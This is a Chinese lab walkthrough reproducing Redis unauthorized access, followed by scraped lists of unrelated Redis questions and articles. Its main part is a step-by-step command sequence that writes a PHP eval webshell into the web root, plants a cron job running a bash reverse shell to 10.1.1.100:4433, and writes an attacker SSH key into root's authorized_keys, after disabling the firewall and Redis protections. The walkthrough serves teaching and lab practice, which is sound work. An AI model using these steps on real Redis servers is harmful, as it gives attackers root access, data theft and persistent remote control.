Redis未授权漏洞复现

2023-10-27

一、简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

漏洞介绍

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

漏洞产生条件
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

二、漏洞环境搭建

靶机:CentOS-7-x86_64-Everything-2009.iso​

攻击机:Kali Linux 2022.3-vmware-amd64

Redis: redis-3.2.0

1.靶机下载redis

以root用户登陆下载

下载:wget http://download.redis.io/releases/redis-3.2.0.tar.gz

解压:tar xzf redis-3.2.0.tar.gz   

ll    显示当前目录内容。 

cd  redis-3.2.0

编译: make

 cd src 

cp  redis-server  /usr/bin  将redis-server  拷贝至/bin

cp  redis-cli        /usr/bin   将 redis-cli        拷贝至/bin

cd  ..                    返回上一级目录

cp  redis.conf     /etc          将redis.conf     拷贝至 /etc                     

redis-server /etc/redis.conf                        开启redis服务

2.kali下载reids

新建文件夹:  mkdir  redis

下载:wget http://download.redis.io/releases/redis-3.2.0.tar.gz

解压:tar xzf redis-3.2.0.tar.gz 

cd  redis-3.2.0

编译:make

 连接靶机:redis-cli -h   ip  

-h       连接指定host

报错无法连接

关闭靶机防火墙

systemctl stop firewalld.service          //关闭防火墙
systemctl disable firewalld.service    //关闭防火墙自启动

Redis的配置更改
找到配置文件: redis.conf并编辑

vi redis.conf

(1)protected-mode yes   设置成no          #允许远程访问

(2)bind 127.0.0.1 这一行给#注释掉          #允许其他网段访问

连接靶机:redis-cli -h   ip

1.Redis未授权写入webshell

记得启动apache!!!

systemctl start httpd.service   #启动apache服务

config set dir /var/www/html                      #设置数据库备份文件的放置路径

config set dbfilename shell.php                #设置备份文件的文件名

set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"   #添加一个键”x”,值为一句话木马

save                                                              #保存

#set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
# ”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

 攻击机Kali浏览器访问ip/shell.php

 可以看到内容

蚁剑连接

2.Redis未授权写定时任务反弹shell

 01.在Kali使用nc开启监听
nc -lvvp 6666

02.连接redis,写入定时反弹shell

redis-cli -h  IP

输入以下内容:

set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
#前后加入'\n\n'换行以确保写入的计划任务可以被正常解析,每分钟执行一次.
config set dir /var/spool/cron  #设置备份路径
config set dbfilename root      #设置备份文件名
save                                          #保存

03.kali打开监听

nc -lvvp  6666

一分钟后得到目标shell

可以执行命令

3. Redis未授权写SSH公钥获得shell 

01.在kali上生成ssh公钥

ssh-keygen -t rsa

02.将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

 

03.将foo.txt写入靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey

04.连接Redis
redis-cli -h 10.1.1.200 -p 6379

05.设置备份文件路径
config set dir /root/.ssh/


06.设置上传公钥的备份文件名字为authorized_keys
config set dbfilename "authorized_keys"

save        #保存

07.远程连接目标机器
ssh root@IP -i /root/.ssh/id_rsa

以上.

如有问题,欢迎留言。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Redis未授权漏洞复现 的相关文章

  • PooledRedisClientManager 未释放连接

    我将 json 数据列表存储在 redis 中并使用 ServiceStack c 客户端访问它 我本质上是在管理自己的外键 我在其中存储zrangeid 我使用应用程序内部的接口从zrange然后从 Redis 获取底层 json 对象并
  • redis集群不断打印日志WSA_IO_PENDING

    当我启动redis集群的所有redis服务器时 所有这些服务器不断打印类似WSA IO PENDING clusterWriteDone的日志 9956 03 Feb 18 17 25 044 WSA IO PENDING writing
  • 如何在节点redis客户端上设置读取超时?

    在 github 上我没有看到读取超时的选项 https github com NodeRedis node redis https github com NodeRedis node redis There s connect timeo
  • Redis 排序集和解决关系

    我正在使用 Redis 排序集来存储我正在处理的项目的排名 我们没有预料到 我们想要如何处理关系 Redis 按字典顺序对具有相同分数的条目进行排序 但我们想要做的是对具有相同分数的所有条目给予相同的排名 例如在以下情况 redis 127
  • Spring Data Redis JedisConnectionException:流意外结束

    雷迪斯3 0 5Spring数据Redis 1 3 6绝地武士2 6 3 我们的 Web 应用程序通过 pub sub 从 Redis 接收数据 还以键 值对的形式在 Redis 上执行数据读 写 读 写发生在监听线程 独立监控线程和htt
  • 从redis中检索大数据集

    一台服务器上的应用程序查询另一台服务器上运行的 Redis 查询的结果数据集约为 250kzrangebyscore objects locations inf inf这在应用程序服务器上似乎需要 40 秒 当使用命令执行时redis cl
  • redis 阻塞直到 key 存在

    我是 Redis 新手 想知道是否有办法能够await get通过它的键来获取值 直到该键存在 最小代码 async def handler data await self fetch key async def fetch key ret
  • 在 Kubernetes/Openshift 中将客户端-服务器流量保持在同一区域的最佳方法?

    我们运行兼容 Kubernetes OKD 3 11 的本地 私有云集群 其中后端应用程序与用作缓存和 K V 存储的低延迟 Redis 数据库进行通信 新的架构设计将在两个地理上分布的数据中心 区域 之间平均划分工作节点 我们可以假设节点
  • 使用Redis从有限范围内生成唯一ID

    我有一些数据库项目 除了主键之外 还需要项目所属组的唯一索引 我们来调用属性nbr 以及将项目分组在一起并定义唯一范围的属性nbr 我们会打电话group This nbr必须在 1 N 范围内 并且may从外部源导入项目时进行设置 由于所
  • socket.io 广播功能 & Redis pub/sub 架构

    如果有人能帮助我解决一个小疑问 我将不胜感激 使用socket io广播功能和在Redis上使用pub sub设计架构有什么区别 例如 在另一个示例中 node js 服务器正在侦听 socket io 针对 键 模型 todo 和值 数据
  • Java 将字节转换为二进制安全字符串

    我有一些以字节为单位的数据 我想将它们放入Redis中 但是Redis只接受二进制安全字符串 而我的数据有一些二进制非安全字节 那么如何将这些字节转换为二进制安全字符串以便将它们保存到 Redis 中呢 Base64 对我有用 但它使数据更
  • Laravel 所有会话 ID 与 Redis 驱动程序

    在我的应用程序中 我希望允许某些用户能够注销除他 她之外的所有其他用户 当会话驱动程序设置为文件时 我已经完成了此功能 但现在我使用 redis 作为会话驱动程序 并且我无法找到任何方法来列出所有当前会话 就像我在文件时所做的那样司机 问题
  • redis - 使用哈希

    我正在使用 redis 为我的 Web 应用程序实现社交流和通知系统 我是 redis 的新手 我对哈希值及其效率有一些疑问 我读过这篇很棒的文章Instagram 帖子 http instagram engineering tumblr
  • 有没有办法让特定的key在集群模式下定位到特定的redis实例上?

    我想让我的多锁位于不同的redis实例上 我发现redission可以指定一个实例来执行命令 但是如果该命令与key相关 则指定的实例会将命令传输到另一个实例 你能给我一些建议吗 你可以 但这并不是微不足道的 首先 Redis 在键中使用大
  • 使用 Celery 通过 Gevent 进行实时、同步的外部 API 查询

    我正在开发一个 Web 应用程序 该应用程序将接收用户的请求 并且必须调用许多外部 API 来编写对该请求的答案 这可以直接从主 Web 线程使用 gevent 之类的东西来扇出请求来完成 或者 我在想 我可以将传入的请求放入队列中 并使用
  • 为什么Redis中没有有序的hashmap?

    Redis 数据类型 http redis io topics data types包括排序集 http redis io topics data types intro sorted sets以及其他用于键值存储的必要数据结构 但我想知道
  • Scala 使用的 Redis 客户端库建议

    我正在计划使用 Scala 中的 Redis 实例进行一些工作 并正在寻找有关使用哪些客户端库的建议 理想情况下 如果存在一个好的库 我希望有一个为 Scala 而不是 Java 设计的库 但如果现在这是更好的方法 那么仅使用 Java 客
  • Amazon Elasticache Redis 集群 - 无法获取端点

    我需要获取 Amazon Elasticache 中 Redis 集群的终端节点 以下代码适用于 Memcached 集群 但不适用于 Redis import com amazonaws auth AWSCredentials impor
  • Laravel 异常队列最大尝试次数超出

    我创建了一个应用程序来向多个用户发送电子邮件 但在处理大量收件人时遇到问题 该错误出现在failed jobs table Illuminate Queue MaxAttemptsExceededException App Jobs ESe
  • Web API 缓存 - 如何使用分布式缓存实现失效

    我有一个 API 目前不使用任何缓存 我确实有一个正在使用的中间件 它可以生成缓存标头 Cache Control Expires ETag Last Modified 使用https github com KevinDockx HttpC

随机推荐

  • 设计模式(十一)外观模式

    外观模式是另一种结构型设计模式 当我们想要隐藏系统的复杂实现 想客户包含简单的使用接口的时候 就可以使用外观模式 我们需要创建一个外观类 提供要给用户暴露的方法 外观模式的优点就是用户和系统解耦 系统可以独立于用户修改 缺点就是用户虽然和系
  • 记一次 MyBatis常用到的动态sql

    一 SQL的动态拼接标签 if标签 where标签 choose when otherwise标签 set标签 trim标签 bind标签 sql和include标签 foreach标签 二 if标签 test中写判断条件 参数直接para
  • Windows系统在虚拟机上安装Linux系统操作步骤

    1 下载VM虚拟机 VM官网 VMware Workstation Player VMware Customer Connect 2 下载CentOS 7系统 下载好虚拟机以后 我们就可以下载阿里云的CentOS7镜像了 网址 centos
  • C++传递不定参函数

    定义不定参数函数 要用到下面这些宏 va start ap farg 初始化一个va list变量ap farg是第一个形参 va arg ap type 获取 下 一个type类型的参数 va end ap 结束使用ap C语言里编写不定
  • textarea显示全部内容支持高度自适应

    function readyNumber textarea each function this setAttribute style height this scrollHeight px overflow y hidden on inp
  • 江山如此多娇(图与文)—旅美散记之五

    自费自助的旅美行程匆匆 在几个城镇探亲访友之后 就近看了一些景点 浮光掠影 广实浅新 且把照片当节目 加以调侃作串联报幕词 与博友们共享 月光下的尼亚加拉大瀑布 阳光下的尼亚加拉大瀑布照片比较常见 这次碰巧看到了瀑布上的彩虹 见下图 这就是
  • 高斯噪声(gauss noise)

    概述 高斯噪声是指它的概率密度函数服从高斯分布 即正态分布 的一类噪声 与椒盐噪声相似 Salt And Pepper Noise 高斯噪声 gauss noise 也是数字图像的一个常见噪声 椒盐噪声是出现在随机位置 噪点深度基本固定的噪
  • 【python】Appium安卓padUI自动化

    Appium安卓padUI自动化踩的坑 总结如下 一 从native页面跳转到webview页面 获取链接并定位元素 方法一 通过Charles抓包 可以定位到pad跳转到的H5页面 获取页面地址 在pc端进行元素定位 方法二 在web c
  • 【牛客SQL】SQL16 统计出当前各个title类型对应的员工当前薪水对应的平均工资

    题目描述 描述 有一个员工职称表titles简况如下 有一个薪水表salaries简况如下 请你统计出各个title类型对应的员工薪水对应的平均工资avg 结果给出title以及平均工资avg 并且以avg升序排序 以上例子输出如下 示例1
  • Windows环境下配置Ceres(含Eigen、gflags、glog、merit、suitesparse)

    1 配置环境与源代码包 环境 Windows 8 1企业版 Visual Studio 2013 专业版X64 Cmake GUI 3 13 0 rc1 Ceres solver 1 14 0 下载地址 http ceres solver
  • @keyframes的应用

    目录 一 keyframes 二 hover和 keyframes 一 keyframes 1 keyframes能够创建动画 创建动画的原理是将一套 CSS 样式逐渐变化为另一套样式 2 animation属性控制动画的外观 animat
  • js块级作用域--理解

    在JavaScript中没有块级作用域的概念 这意味着在块级语句中定义的变量 实际上是包含在函数中的 而不是在语句中创建的 下面来看一个例子 function testdemo for var i 0 i lt 10 i alert i t
  • python爬取音乐并保存_python3 实现爬取TOP500的音乐信息并存储到mongoDB数据库中

    爬取TOP500的音乐信息 包括排名情况 歌曲名 歌曲时间 网页版酷狗不能手动翻页进行下一步的浏览 仔细观察第一页的URL 这里尝试将1改为2 再进行浏览 恰好是第二页的信息 再改为3 恰好是第三页的信息 多次尝试发现不同的数字即为不同的页
  • Transformer(李宏毅老师Transforme PPT截图)

    参考李宏毅老师Transformer 课程连接https www youtube com watch v ugWDIIOHtPA list PLJV el3uVTsOK ZK5L0Iv EQoL1JefRL4 index 61 Seq2se
  • java实现二维码识别(ZBar)

    要求 系统Centos7 x 第一步安装Cmake yum install y gcc gcc c wget wget https cmake org files v3 14 cmake 3 14 0 tar gz tar zxvf cma
  • IDEA生成jar工具包

    使用IDEA生成jar工具包 使用IDEA生成jar工具包 通过导入的方式在其它项目中使用 注意 此jar包是非执行jar包 只能作为工具包来使用 打包流程 1 点击 Build gt Build Module jar01 完成之后会生成
  • VS调试时无响应,卡顿,卡死的解决方案

    1 修改体调试设置 调试 gt 选项 gt 调试 gt 符号 去掉xxx服务器 勾选仅加载指定的模块 2 修改搜狗输入法 3 由于VS运行太久缓存太多 1 单击 开始 选择 运行 或者win r快捷键 2 键入 devenv exe res
  • mac下通过命令行查找文件

    直接在命令行中输入 mdfind name xxxx png 如果不知道完整的文件名称的话 只需要输入你记得的几个词就行
  • 智能家居(调用libcurl编程访问百度主页)

    一 代码 include
  • Redis未授权漏洞复现

    一 简介 Redis Remote Dictionary Server 即远程字典服务 是一个开源的使用ANSI C语言编写 支持网络 可基于内存亦可持久化的日志型 Key Value数据库 并提供多种语言的API 漏洞介绍 Redis因配